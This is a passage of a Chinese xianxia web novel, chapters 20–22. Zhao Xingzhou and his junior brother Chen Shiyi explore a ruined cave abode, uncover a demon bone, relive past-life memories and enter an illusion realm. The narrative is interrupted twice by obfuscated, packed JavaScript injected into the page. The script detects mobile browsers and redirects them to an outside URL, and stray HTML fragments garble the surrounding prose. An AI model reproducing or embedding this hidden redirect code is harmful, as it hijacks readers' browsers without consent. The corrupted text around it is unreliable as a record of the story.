沈文铮想到这里,心中说不出什么情绪。心元剑君不单是修真界垄断百年的一代骄子,更是剑道史上无可替代的一缕清风。沈文铮决定信任此树妖,又何尝不是透过百年岁月,去信任那道虚无缥缈的剑影呢。 福洞内。 建筑比外观更加破败,有人随便踩住一个门槛,门槛应力便碎。房梁亦摇摇欲坠,每当有人进入,便更加晃动一份。 众人进了大门后,自觉在院落中搜刮起来。赵行舟走到队伍后方,漫无目的地打量院落, “啧,破成这样。” 边走边打量,颇为嫌弃,“不愧是试炼第一层,小福洞里简直没见过比这还烂的。” 陈时易与他并肩而行,两个人无欲无求的样子和一众人形成鲜明反比。陈时易道,“小福洞看不上,你想进大福洞?” 赵行舟以双手交叠在脑后,“这话说的,好像想就能进一样。” 陈时易道,“有何难?我替你找就是。” 好,真当秘境你家开的了。赵行舟不答反问,“你进过几个大福洞了?” “七个。” “……” 行。 此事不宜多谈,赵行舟决定换一个话题,“哎,你说这地方到底是怎么形成的?” 陈时易顺着他的目光看,“你是说福洞还是秘境?” “都有。”赵行舟意外。不知为何,陈时易似乎总能一下子领会到他的所指,于是用手比划,“这些福洞遗留下来的法器和传承,无论有主还是无主的,其曾经的持有者至少都是化神。很难想象啊,曾经会有这么多化神以上的修者死在同一片土地上。” 陈时易静静看着他比划,“你是不是还想说,曾经的洞天秘境,或许和门外这片战场也有关联?” “你怎么知道?”赵行舟一惊,这简直超脱默契的范畴了,堪称读心啊! 不料陈时易笑了一下,不太高兴,“有没有可能是因为我们以前,经常聊?” “……” 二人面面相觑,站于院落西侧,一时相顾无言。 忽闻距离最近的西厢传出杀鸡似的尖叫。鹊妖跌跌撞撞从一个破门跑出来,手里攥着一根玉如意似的东西。门框一撞立马四分五裂。它惊慌失措地对着赵行舟二人喊,“骷、骷髅!有骷髅!有骷骷……” 尴尬的气氛被打破,赵行舟松了口气,而后第一反应便是不可能。鹊妖边喊边跑,被赵行舟一把捏住后脖领子,“哪有骷髅?带我去看。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437510|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你不是说见了要多远跑多远吗!我才不去!” 奈何鹊妖拧不过赵行舟,还是被压着一前一后步入西厢。 在鹊妖不情不愿的指引声中,当真在角落里发现了一个蒙尘的小骷髅头。 骨质灰白,上颌、眼窝以及额头保留的相当完整,但下颌,后头骨以及其他部分的骨头全都不在,身躯也未曾见。 饶是赵行舟也从未见过这么奇怪的场景。 按理说小福洞和大福洞的区分,重点在于洞内是否有骨骸,其次在于洞内场景的坚实程度。骨骸往往是完整的,场景建筑往往是不可摧的。 可这小半个骷髅和这个破破烂烂的院子算是怎么个事儿? 鹊妖在赵行舟手底下伺机逃跑,又不忘了讨好,“二位先聊,我先出去透透气,真热,真热哈哈。” 赵行舟捏着鹊妖打量四周,“这玩意儿是你发现的,你可在这拿了什么东西?” 鹊妖忙把手中那根东西往怀中一揣,眼珠子左右乱转,“什么东西,我都不知道你在说什么。” 下一秒,鹊妖怀中一空,那根东西凭空出现在了陈时易手中。 陈时易用他惯常持剑的那只手将其翻转看了一遭,“是根腿骨。”又看了一眼地上的骷髅,对赵行舟道,“有些奇怪,不是同一个人的。” 一根人的小腿骨,表面散发着如玉般的光泽,如同裹着一层透明糖浆,果然和地上那颗蒙尘多年的骷髅头很不一样。 赵行舟闻言觉得不可思议,“两个人,这怎么可能?” 而鹊妖表情更是裂开了。他本以为地上这根如意是什么罕见的宝贝,没想到竟然是根破骨头。 陈时易随手将腿骨扔在地上,扫了一下手,“我也不曾遇到过这种情况。” 赵行舟放开了鹊妖,沉吟着道,“我先前猜想,世间化神以上的修者死后不入轮回,都会被强行收入此地。福洞便相当于这些人神魂所筑的衣冠冢。” “可一个人的魂中怎么会出现两个人呢?” 陈时易不知想到什么,没有答话。 鹊妖被吓得不清,赵行舟一撒手,他就翅爪并用地跑了。 洞天福地中全是被束缚的残魂。漫长岁月会将这些意志折磨得疯疯癫癫,最终的解脱也不过是随福洞一起泯灭。 赵行舟打量着地上的腿骨,顺势也拿起那颗骷髅查看一番。却不想在他拿起的瞬间,骷髅额头正中竟掠过一道暗红色的血痕,像是触发了某种仪式。 空气中多了一种奇怪的气息。月光阴森刺骨,无数冤魂在耳边若即若离地呓语。赵行舟意识到不对劲,猛地抬头断言,“不对,这不是人,是魔,此处怎会有魔骨?” 这句话一起,窗外残月莫名也有了异动。 硕大的弧形震颤出无形的波荡,令福洞内所有人心头一激。遥遥地有人诧异喊道,“天变色了!” “怎么忽然变得这么冷?” 受魔气弥散的刺激,地上玉骨发出微光。赵行舟心觉不妙,退了两步,旁边人却没动。 陈时易背后随暗淡的月光牵连出一丝波动,将地上那层魔气冲得荡然开来。 有沼状的黑色血气从他后背渗出,一滴一滴落在空气中,比残月更加阴森迫人。 赵行舟震惊地看着他,“你又怎么了?” 陈时易望了一眼赵行舟,心魔莫名现世,衬得目色渗得比血更深,轻声重复道,“衣冠冢…么?” 他的情绪陷入一段迷雾中,不知理智尚存与否,只顺着刚才的话喃喃,“赵行舟,你有没有想过,若你不入轮回,就会有你的福洞诞生了?” “先不说这个。”赵行舟向前抓住他,来不及顾及周围突然的变换,“你不对劲,此地怎么会影响到你的心魔?” 在无人看见的地方,陈时易瞳孔被血色缓慢地浸透,显得诡谲阴森。他强忍着什么闭上眼睛,道,“无妨。” 腿骨发出夺目的光泽,和满地煞气分庭抗礼。光在空中凝成一个云雾状的符文,笼罩在房顶。 煞气受激,在空中横冲直撞。 呓语的声音变大了,它们盘旋在耳边,争先恐后地嘶吼着,贪婪地想要挤入在场者的脑内,意图占据他人的身体。 赵行舟神魂有损,这一冲击几乎令他站立不稳,不过下一秒就被人扶住。 陈时易抓着赵行舟的手臂,不由得睁开眼,眼底泛起浓郁的红色,将整个瞳孔浸染成一片暗红色的血海。 呓语在他睁眼时消失得一干二净。说话间隙,万籁俱寂。 “我想过的…你若被困于此地也无妨。” 嗓音低哑不明,背后剑隐悬滞于身后上方,破骨立影,将屋内两种斗法的光压得瞬息黯淡。 “若此地再没有旁人了,你还能等谁呢?” 玉骨不堪低头,发出剧烈动荡的光芒。赵行舟眉心疼痛,还未分辨出陈时易的神情,二人便一同被卷入光雾中,消失在了原地。 21. 第 21 章 赵行舟神海浮沉,于白茫茫中看见数道长影。 先是雪中立着的惊春剑。鞘结了寒霜,由于常年无人问津,不见锋芒,衬着些潦倒。 而后是惊春旁的一棵树。主干枯瘦如骨,枝叶歪张,常年不见光,几乎呈现出嶙峋坎坷的生长姿态。然而其中肆意澎湃的生命力却令人心惊。天光被厚重的云掩盖,这棵树将根深植于大地,蛮横地生长,长到能活为止。 最后是一道不甚清晰的人影。 不知从何而起的灯影摇晃起来,场景突变,风雪没了,有无数船承载灵魂的萤火顺河而下。背后血月如钩,恍似还位处远古的战场中,只是多了一个参天大树。树冠大得遮天蔽日,其上开满不知名鲜花,花苞呈紫棠色,密布枝头,为阴森的河流增添一丝绮靡。 树下站着一个冷白色长袍的男人。不知是谁,不知样貌,赵行舟看在眼中却觉得熟悉。 下意识觉得,只要这人回过头来,他就该认得他。 可这人叫什么名字,与他有什么关系?赵行舟想了片刻,感到混乱,又茫然。 他如同深陷梦中,仅凭神识游走于世。这时从开满鲜花的树上飘下一缕金色,在血色的月光下灿若星辰,正落在那人抬起的右手中。定睛看去,是一片金色的莲花花瓣。 同时,对面人似有所觉,回首望来。 霜色道袍衬鱼尾灰内襟,袖口云浪翻滚。待赵行舟看清那人的脸时,不由得愣在了原地。 此人负手而立,气势锋芒毕露,眉目清利,脸上有隐现不明的笑意。恰似春风料峭,霁月破云。而唇下又有一颗很小的痣,如一点丹青,泼落在傲气绝世的风骨上,平添一丝风流不羁之相。 分毫不差,竟是赵行舟的生前身。 怎么可能? 百年岁月如一道鬼影闪烁于眼前,如梦似幻。赵行舟惊愕之际,觉得不可能。 他生前血肉早在祭剑的一刻就分崩离析了,尸骨炼化,身死道消,天下人有目共睹,不可能找得回来,更不可能出现在这种地方。 而后转念又想,这里是什么地方?是秘境,是秘境中的某处福洞,福洞…… 对了,他还在福洞。 赵行舟思绪一清。 洞天秘境超脱五行,幻境重重,不能以常理论之,福洞亦是如此。 以神魂飘在空中,赵行舟冷静下来,审度眼下的状态,又莫名联想到曾经。 曾经他在试炼第四层的大福洞中邂逅半仙,对方道骨通体剔透如玉,魂体更有完整的意识,足以可见生前其修为是何等通天。 可出境后,他没有得到任何实质性的馈赠,只得到了对方莫名其妙的几句话。 记忆中仍然可以浮现半仙那张不怀好意的笑脸。 “贫道今日从你这取走一些东西,算作替你存着。” “他日你若活得下来,意欲取回,贫道在这里等你来拿便是。” 赵行舟入境之前,满心以为这疯子是在他神魂记忆中做了手脚。却没想到,这“取走”、“取回”之物,可能远不止是记忆。 再看,百年前的生身虽摆出了神情,可眼中无光,活脱一具没有魂的傀儡,只是捏着金色花瓣,僵硬站立。 一时也分不清眼前究竟是幻境还是真实。 他对于自己是人是妖这件事本没有太多执念,可生前身毕竟是生前身。 碎了化了倒也罢了,若反之,那还是要取回的。 退一万步讲,如果这个身体是真实的,那么就算他不能用,也必要毁在自己手里。 否则若让别人见到,或被有心人夺舍占用,膈应也要被膈应死了。 赵行舟心烦意乱地想着,飘过去接近生前身,面对面再欲观察时,忽觉眉心滚烫刺痛,然后生前人手中的金色花瓣开始发光。 随即,赵行舟头痛欲裂,跌入浮浪般的记忆中。 -- 昆仑凌绝峰自古人丁稀薄,因门下弟子只能修剑道,拜师门槛极高。该峰历届还有一个特殊的规定:门下弟子在入金丹境之前,不可出昆仑一步,违者逐出师门。 这个规定听上去严厉,其实在情理之中。金丹期是剑修的起点,金丹之前剑修无法使用引剑诀,武力与同水平修者相比,不仅没有优势,还有明显的劣势。昆仑剑修又是天下赫赫有名的一类人,如此下山若被人揍得鼻青脸肿,不够给宗门丢人的。 也是因为这项规矩,让赵行舟孤身一人在凌绝峰上苦熬了十几年,没出过宗门一步。突破金丹的时候,赵行舟御着勉强能动的剑,以随时都能摔死的姿势,在昆仑五岳之间转了几圈,直奔昆仑之巅。他这番动作倒不是为了炫耀自己的修为进展神速,只是一想到终于可以脱离这个鸟不拉屎的凌绝峰,下山去吃香喝辣,就兴奋得睡不着觉,恨不得去山顶嚎上两嗓子。 这消息一传出去,昆仑上层地动山摇。一向修身养性的虚微子一拐子破了谢海生闭关的门,直接问,“听说你大徒弟仅用十二年就从炼气入门直破金丹境且习御剑不过一周就敢登顶逐月台?” 谢海生“哈哈”了两声,算作承认,头次见这位掌门连说这么长一串话不喘气,怪稀奇的。他没有把欣慰表现得太明显,装作一副平常的模样,“掌门消息好灵通,这小子从来胆大,我收他那日便看出他是个爱闯祸的苗子。”又道,“鸡毛水平就敢爬观云山的顶?你莫要与他计较,学艺不精,摔不死了拉倒。” 那时逐月台对内部开放,登顶不算闯祸,顶多算是不知天高地厚。大约是看破了谢海生虚伪嘴脸,虚微子不动神色往外瞧,“这样的修行速度闻所未闻,比我们这些老家伙可是出息多了。”又道,“听说你去年在西洲又收一徒?” 谢海生道,“不错。” 虚微子用拂尘顺着昆仑之巅的方向扫了下,“如何?” 谢海生笑道,“我不知道。” 虚微子也笑,“师侄,做师傅的不能偏心,但说无妨。” 却不料谢海生笑着摇了摇头,“掌门师伯,我是真不知道。你见识多,你来算吧。这风火双行,和雷水双行,哪个更厉害一些?” 虚微子听罢一愣,分辨着谢海生的表情,逐渐难以置信,“双天根几百年难见一位,总不至于让你十年遇见两位,不会吧?” 谢海生搓着下巴,“要不说邪门呢。” 虚微子拂须沉默了。 反观另一侧,赵行舟再落下地时,凌绝峰月明星稀,已是筋疲力尽。 他将剑串置于剑带,背负在身后。该剑出自天下第一铸剑师张宏景之手,取名二字“惊春”。谢海生与张宏景乃故交,此行特意为他去求造了这一把剑,作为下山践行的师礼。赵行舟很少对什么东西表现出强烈的喜爱,唯这柄剑,他心仪至极。 负剑穿行过高挺的一片云崖,月色澄洁。这片竹林养了十年,都是他一手分株,埋枝,供新竹生长。他路经打坐宅舍,庭前竹林耸立细密,偶尔歪斜一根,颇具意境。此处月下景色甚美,赵行舟虽然身体累,但心情好,不由得驻足欣赏了一会。 不巧就看见有几根竹子沾了血,看位置和分布,大约是有人受伤后往回走,身上有血,沿路留了痕迹。 赵行舟打量片刻,皱起眉头。 山上活人一共三个。谢海生乃昆仑第一剑,实力已至大乘,先不论了。他赵行舟在昆仑虽不能说打遍同辈无敌手,但破了金丹境,是不会随便吃亏的。眼下有可能混这么惨的,无非一个人。 同为师兄弟,又共同在凌绝峰生活一年,听上去好像关系还行。但事实上赵行舟与那小子的关系相当一般,打十次照面未必说得上一句话,大多数时间都把对方当空气。 这种情况赵行舟一开始也没料到。 他本以为憋了十多年,山上来个活人,应该是好事一件。 不成想他这位师弟生性寡言,又莫名其妙继承了凌绝峰目无尊长的传统,遇事不肯服一点软,和听话沾不上一点边。 起先赵行舟想学着其他几峰同门的样子,调侃几句,逞一逞做师兄的威风。不料只能换来对方的轻嗤冷笑,眼神都不屑得给一个。 时间长了难免无聊,有天赵行舟说,“师傅不管事,当初若不是我每天去紫霄打了饭带给你,你饿都该饿死了。这样都换不来你一声师兄听听?” 见对方仍然没反应,赵行舟扒拉着手边草,心有不忿,又道,“早知道让你喊一声师兄这么麻烦,当初就不该可怜你。我给阿福喂吃的,它还知道给我摸两把呢。养只狗都比你小子有良心。” 不料对方突然受激一般,回头盯着他。这一眼下来隐含屈辱,眼似刮骨,很有些狼狈,只咄咄地问他,“你说什么?” 这番话不知那个字刺激到了对方,听对方咬牙切齿,几乎带着恨意,“赵行舟,你凭什么可怜我,又以为自己是谁?” 唉,十几岁,正是自尊心比天高的年纪。 这大抵是相识两个月来听过对方最愤怒的一句质问。自知失言,赵行舟不再说话。 而后不欢而散,一年过去,两人再没什么交流了。 如今赵行舟突破金丹境,下山前夕在竹林看到血迹,停顿片刻,还是决定去看一眼。 他在宅舍房后找到了陈时易。陈时易勉强靠在墙上,身骨瘦削,却如霜中败叶,零落难堪,手中沉甸甸攥着一柄断掉的剑,死撑着不肯倒,也不肯撒手。只有鼻腔和唇齿不住往下滴血,落得满襟都是。 赵行舟看了一眼陈时易的伤情,大约猜得到发生了什么。 十年前他刚来昆仑不久也曾发生过类似的事。凌绝峰地广物博,灵息浓厚,常年只被这么两三个人霸占,昆仑中不满这个现状的人不在少数。可惜碍于立宗祖训,不可更改,便常有些其他峰的弟子借着切磋的缘由,私自发泄这种愤慨。 刚入昆仑时赵行舟什么都不懂,谢海生又是一个除了修行什么都不管的人,所以这种亏他没少吃。也幸得各位同门下手不留情面,让他的皮肉好了伤伤了好,早早就修了一身好筋骨。 陈时易年仅十六,如今修行不过一年,还在炼气阶段。伤成这样,说明对方修为远在他之上,输了不丢人,受伤再重总有伤好的那一天。 可断人武器却意义不同。 赵行舟打量着陈时易手中那柄断剑,样式并非出自凌绝峰,断口平整,几乎没有打斗痕迹,是被人刻意削断的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437511|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >再去推断,应该是有人给了陈时易一柄剑,又轻松将其削断。 此举不为切磋,不过是有意折辱罢了。 于是他倚在后门口问他,“谁给你的剑?” 陈时易听有人来了,蹒跚着步子往前挪,对此充耳不闻。 赵行舟“啧”了一声,动了动手指,惊春斜飞而出,没入陈时易前方两步远的木头里,再问他,“是谁给你的剑?” 只得到冷冷一句话,“与你无关。” 赵行舟走至他身前,抽出惊春,皱眉看他,“我最后问一次,是谁给你的剑?” 少年神情疏离,忽而泛起冷冷一丝笑,“说了,与你无关。” 连问三句,赵行舟耐心尽失。他一把扯住陈时易的前襟,迫使他抬起头来,压着火气盯着他,“难道没人教过你,别人问话的时候,要好好回答?” 全家都死光了,这句话问得简直可笑。陈时易以为他是同旁人一样折辱他,被迫仰起脸与赵行舟对视时,有明显的惊怒。他唇齿间鲜血淋漓,遂从喉咙中吼出一个字,“滚!” 赵行舟没想这么多,只是牙根痒了一下,强忍着没把人掐死。 师兄弟关系处成这样,全昆仑未必有第二位。也难怪出去被人教训,就这狗脾气,谁见了不来气? 赵行舟懒得再多说。手一松,不再去研究那柄断剑的来历,转身走了。 而后二人又很久没见过。陈时易辟谷之前,没太多口腹之欲,日常以野果粗粮充饥,大约一周去伙房一次。 有次去观云峰伙房的路上,听人陆续谈起几天前的一次切磋。是有一方专门找上门挑战去了,双方都是金丹初期的实力,打得不可开交。 那时陈时易一心都在修行,无心留意其他。是故之后很长的一段时间,他都不知道赵行舟下山前曾上过一次龙砚峰。 八荒三百四十二年春,赵行舟当着两峰首席弟子的面硬折了台上人的剑,而后蹲下身,对着躺在地上的龙砚弟子笑,“李少微,我知道你看不惯凌绝峰,有什么意见对我说便是。” “欺负我师弟,算什么本事?” 大梦一瞬。 所有的意气风发,年少轻狂,连同生前身一同消失殆尽。 风云变幻,赵行舟倏尔睁开眼睛,发现自己又是一抹游魂,不知为何,身处昆仑之巅。 昆仑之巅终年覆雪,受护山大阵所限,不见雨雪。 此刻却暴雪如屑,天地浩浩,几乎将视线淹没。 九州七十一年,阴历七月十五。破败的道观大门敞开,位中四方仙桌上,魂灯燃如冥火,隐在暴虐风雪的小小楼阁中。 无数不入鬼域的游魂被灯吸引来,如同河流汹汹涌进道观,赵行舟也被裹挟其中。他们像饿死鬼般张牙舞爪,贪厌地嗅着空气中甜美的味道,拥簇在灯中三尾活泼的魂魄小鱼旁边。 灯中有三条半透明的蓝色小鱼,看着像灵魄小鲤。 灵魄小鲤整个鬼域一共三条,极难饲养。据传食其之一可令魂魄超脱五行,不受束缚,食其之二可凝结神海,是晋升鬼仙的必修之路。连食三尾,恐怕长出血肉,再生为人也不在话下了。是真正的逆天改命,翻转乾坤之物。 赵行舟觉得荒谬,灵魄小鲤乃奈何川的镇川之宝,是鬼王的心头肉,眼中珠,怎么会出现在人间? 还是在昆仑? 想必还是幻境作祟。 游魂不似生灵,许多神魂残破丢失,逻辑不清,多凭欲念和本能行事。当然,就算是有思考能力的高级鬼魂,在灵魄小鲤面前也绝难保持冷静。 未等赵行舟想清楚处境,鬼魂们忽然翻涌起来,嘶吼着向灯内扑去,想要抢夺吞噬。这时道观大门“咯哒”一声,被闭上了。 众魂这才发现桌前阴暗处,还站有一人。 那人以背对门,背力挺拔,大约刚逢恶战一场,落得伤势不轻。他双手轻力撑桌,自始至终不曾动作,只是在关门之际,稀落地轻笑一声。 “都不是。” 他唇齿间满是鲜血,一滴一滴落在前襟,视线正穿过虚空处的赵行舟。 那张脸的五官与记忆中的少年吻合,却更锋利,更轮廓分明。眼睛冷似刮骨刀,不再满是憎恶和愤怒,反而沉下去了,偏执得露骨。 “传说不假,鬼域当真有轮回簿。” 他鬼气缠身,说着,从衣襟中掏出一本被血浸透的簿册,发顺着肩滑落。 手有些抖,像要呈现给什么人看。 “鬼王反复说上面没有你的名字,我不信。四十年了,怎么会没有。” 剑从身后无声息隐现,随着他笑意敛去,咬字声息沉落,凭空开口,一寸寸出鞘。 “可是真的没有。” 金光如浪潮暴涨,剑势浩汤,凛然盛大,逼得鬼气满屋乱窜,无处躲匿。一时间屋内跟滚油煎肉似的,激起无数道阴森凄厉的惨叫。那人充耳不闻,看着什么都没有的一处,眼下一层阴郁,道,“赵行舟,你睁开眼看仔细了。” “奈何川里什么都没有。” 嗓音沙哑,轻飘如雪,又随百鬼哭嚎声轰然斩落于地。 “躺在里面,根本看不到人间。” 22. 第 22 章 赵行舟再度回神,一个人站在流熙攘的街道中。 身旁吵闹不已,路人拥挤,五官全都模糊不清,好像人人脸上戴着一顶千人面,鬼影一样晃来晃去。 赵行舟回忆着刚刚多出来的新记忆,用了大约半刻钟的时间,搞清楚了自己的处境。 他应该还在福洞中,而且不明原因找回了部分过往。 一共两次,每当他回忆起什么新东西时,眼前都会有金莲花一闪而过。这找回记忆的条件应该和那个莲花图腾脱不开关系。 金莲花是洞天秘境的标志性图腾,在秘境的每个入口都会看到相关刻印。他生前偶得一块天道石,上面亦有这个图案,只不过祭剑的时候一起遗失了就是。 想着,赵行舟不动声色打量着陌生的街景。 之所以推断眼下还在福洞中,是他认出了被光卷入前由光凝成的雾状符文是什么。 太久没来,加上魔气容易扰乱神智,害得他乍一见到那个符文都没有反应过来——该符文是离天幻境的标志。 离天幻境由残魂的生前执念构成,在福洞中较为常见。福洞神魂不入轮回,诸多生前执念无处排解,随时间挤压变形,就形成了离天幻境。 小福洞的意志残留不完整,离天幻境多由几个不稳定的场景构成。该类幻境有几个特点:人物武力值不高,场景容易跳转,所见路人大多没有脸,想看也看不清楚。 从眼下环境和之前所见的符文来推断,他应该是不小心触发了福洞中的幻景机制,因而被吸进来了。却不知和他站在一起的陈时易有没有一起进来。 有一个疑问从他意识到记忆缺失的那一刻就萌生了:为什么他失去的记忆只和祭剑人有关,藏明月手记中留下的祭剑诀究竟有什么问题? 还有刚刚意识中所见的生前身、河流,大得离谱的巨树,以及入境前地上那颗魔骨,全都很不寻常。这一切冥冥之中似乎有说不清道不明的联系,赵行舟却又没什么头绪。 想了半天想不出所以然,赵行舟索性不浪费时间了,先搞定眼前事再说。 离天幻境不算凶险,只是破解起来有些麻烦——需要入境人协助残魂意志解决一段执念,方能出去。 至于执念是什么没人说得准,这和残魂的生前记忆有关。有可能救人杀人,有可能寻物探宝,也有可能只需冷眼旁观,诸多此类未完成的心愿,需要由入境人慢慢来探索了。 赵行舟顺着街慢走,沿路风景模糊,顺便回忆了下刚找回来的记忆。 生前连人带剑都祭了,本以为和师弟的感情会是多么情比金坚,倒没想到这么稀碎。他行事不拘小节,很少对别人主动示好,论起来朋友并不多。就对方这种脾气,要和他硬顶起来的话,说水火难容也不为过了。 真不知道后面是怎么相处的。 如此想着,赵行舟摇了摇头,身后突然有一人喊他,“师兄。” 恰巧清风拂了满面,赵行舟一愣,诧异回头,见一个小道士气喘吁吁地跑向他,“师兄,等等我。” 来者有鼻子有眼,五官清晰可见,相貌很白净,年纪约十六七岁,不过他不认识。小道士跑近了,柱着一根长棍努力平复自己的呼吸,随即向赵行舟抱怨,“师兄,你走得也太快了。” 赵行舟挑眉,“你叫我什么?” “自然是叫你师兄啊。”小道士奇怪地看着他,“师兄,你怎么这样看我,好像不认识我了一样。” 此话一出,周围路人忽然一致停住脚步,齐刷刷地转脸对准赵行舟。模糊不清的五官中,赵行舟隐隐能感觉到落在身上的一道道视线。 赵行舟突然明白了怎么回事,不着痕迹地配合笑道,“开个玩笑你还当真了,师弟。” 小道士盯着他看,随后奇怪的表情消失了,路人也纷纷继续行走。他嘟哝,“师兄你惯爱开这种无聊的开玩笑,不怪冬冬师姐懒得搭理你。”说着,整理起手中长棍头上的黄色旗帜来,看得出很珍重此物, “冬冬师姐?”赵行舟沉吟。适才他想起一件事:离天幻境中,只有和主要事件相关的人物才有脸。 幻景中不能做出不符合残念逻辑的举动,否则就会像刚刚那样被围观,时间长了还会被路人缠住。一旦被缠住,轻则离天幻境破碎,入境者神魂受创;重则被幻景吞噬,永远迷失其中。就赵行舟眼下这个支离破碎的识海,遭不住这种程度的反噬了。 不过只要扮演好幻景中的角色,静观其变,一般也不会有事。他便顺着小道士的话闲聊,“开玩笑怎么了,她为什么懒得搭理我?” 小道士一副他在明知故问的样子,“明眼人都看得出来嘛。冬冬师姐一颗心都在大师兄身上,你却老是和大师兄作对。嘴上说是开玩笑,但在我们眼里,你每天除了拈酸就是吃醋的,好没意思……” 小道士一副露出牙倒了的模样。 拈酸吃醋? 赵行舟表情一顿。 这幻景在演什么戏本? 沉默两秒,赵行舟对着小道士手中长棍道,“你这幡……招魂幡?” “不错。”小道士轻松被他转移了注意力,他整理好旗帜,抖开给赵行舟示意,“师傅担心这次在汝清镇出没的邪祟不止一只,特地将这支灵旗交给我了,以备不时之需。我此前还未动用过这种仙器呢,师傅对我们果然极好的。” 还好,还有斩妖除魔的任务。 赵行舟捏了把汗。 再看少年手中物,地级招魂幡,法器评级中最低的一档,可限制住两只50年内的厉鬼一炷香时间。从目前的举止样貌推测,眼前人不过一个初入江湖的少年,筑基期都没修到,师门不会给他派太危险的任务。 加之人间的鬼并不多,凡人居住处偶尔有一只冤死鬼,闹出几条人命都算大事了。这类鬼物凡品招魂幡足以解决,地级法器都算大材小用。 这师傅当得还算上心。 赵行舟点头,“行,那我们快出发吧。” 他心想,眼前人太稚气,总感觉不像幻景缔造者。当务之急是要确认幻景的主人,再找破境之策。 幻境时间和外界时间是同步的,试炼之地第一层的时效只有五天,若不抓紧时间,难保不会第一轮什么都没干就被筛出去。 不料没走出去又被人打断。 “等等,师傅还有话让我带给你。”小道士伸手拦他,表情一本正经,“现下大师兄和冬冬师姐都在汝青镇等着我们,师傅让我劝你,不要再把心思浪费在他们身上。大道难行,还是要以修行为重的!” 赵行舟点头,“师傅所言极是。” 小道士本还想劝些什么,闻言一噎,“啊?” 路人立刻停下,再次不怀好意地围观赵行舟。 赵行舟:…… 怎么他对这事的态度竟对幻境有这么大影响?! 忍了一忍,深吸一口气,“奈何我对你师姐,实在是,情根深种……” “哦……” 路人散去。 小道士摆出一副好心的模样劝他,“师兄,你就放弃吧。之前你在大师兄金疮药里放泻药的事我们都知道了。冬冬师姐当时就发誓再也不给你好脸色看了,你还老缠着她干嘛?要我说,你应该多听听师傅的话……” 赵行舟很沉默,在外人看来,就像听不进去劝。 实则心里想的是,斩妖除魔他易如反掌,儿女情长……寸步难行。 该离天幻景给他安排的角色,怎么好巧不巧是他最棘手的那一类? 情感类劝说进行了一路,景物变迁,来到一个红漆金匾的门前。 小道士为境中人,对这种突然的变幻没有知觉,赵行舟早有准备,不见意外。 大门紧闭,石狮子雄壮有神,看规模是个大户人家。两侧悬挂的红灯笼的烛火暗淡,门槛砖上贴了一个黄色符纸,没什么大用。若有若无的阴气从门缝中蔓延出来,气氛不太明朗。 小道士从怀中取出一支巴掌大的青色纸鸟,谨慎道,“此地鬼气森森,不易打草惊蛇,大师兄和冬冬师姐应该在里面等着了,我给他们传个信,让他们出来接我们。”又对赵行舟道,“师兄可要记得师傅的教诲啊,大师兄旧伤未愈,身体很弱,你不要再给他捣乱了。” 什么旧伤,误食泻药留下的旧伤吗?赵行舟不堪其扰,抓着小道士转过身去,“行了,赶紧让他们出来接人。” 纸鸟扑腾了几下翅膀,东歪西倒地飞起来了,可见操作者很不熟练。赵行舟注视着此鸟,忽然觉得这玩意儿有些眼熟,似乎曾在什么地方见过。 未来得及细想,门打开了。一个尖而细的男人声音率先传出来,听上去底气很足,且还十分春风得意,“师妹且放心,你又不是不知道我,我为人最是大度了,怎么会和那种在别人金创药里放泻药的家伙一般见识?” 一个女声道,“大师兄所言极是,你为人最是正直,自不屑与他计较。”而后声音转低,嘱托起来,“我怕就怕那个人纠缠不休,没完没了。如果他这次再做出什么对不起你的事情,我绝不会饶了他。” 那头感动,“师妹,你真是我的好师妹,有你在师兄就放心多了……” 二人说话你侬我侬,听得人颇为牙酸。 门中先走出来两个看不清脸的仆从,应该是府里的下人,一人站一侧,频频往赵行舟这边打量,看样子是对这几个外来客很不信任。而后两个人紧随其后,修真人士的装扮,都有脸。 女子年约二十三四,容貌秀气,衣裙素雅,面上施了浅淡的朱粉,正眉眼含情地望着身边人。再看旁边这位,体态瘦弱,身高与这名女子一般高,吊眼角,脸上有些刻薄的模样。他大阔步往外走,神清气爽,嗓门贼亮,正手与女子紧紧交握,“来,让我看看这个卑鄙小人到底……小、小人?” 声音一下子降低,说话人跟被崴了脚似的,多亏那女子着了一把才没绊倒。 随后眼睛瞪得溜圆,一副见了鬼的模样。 女子以为他是旧伤复发,忙扶住他,随即恼怒地瞪了赵行舟一眼,“若不是你的泻药,大师兄早就该痊愈了。三师弟,你也是修道者,对自己同门用这种下三滥的伎俩,难道不觉得羞耻吗?” 赵行舟目送鹊妖千奕一路被搀扶到眼前,不觉挑眉。本以为这家伙跑得挺远了,没想到会被卷进来,且看样子融入得还不错? 赵行舟问候他,“大师兄?” 三个字念得颇慢,像是在琢磨其中含义,鹊妖脸色变了又变,指着赵行舟,“你……”又岔了声指向旁边的小道士和女子,“他、她?”最后颤着手指回自己,“我,我……” 没说几个字,在场两个仆从忽然把脸转向鹊妖,恶狠狠地审视着他,怕是下一秒就要扑上去。 鹊妖从头到脚一个激灵,他感知到未知的危险,忙直起腰来,对身边女子正气凛然挥手,“师弟知错能改,善莫大焉,就不必让他再道歉了。” 变脸挺快。 看来这小子已经察觉到这个幻景的规则了,不算太笨。 赵行舟微笑着不说话,小道士在旁拱手,“师傅担心大师兄的身体,特地叫我和三师兄过来帮你们。冬冬师姐,此地情况如何了?” 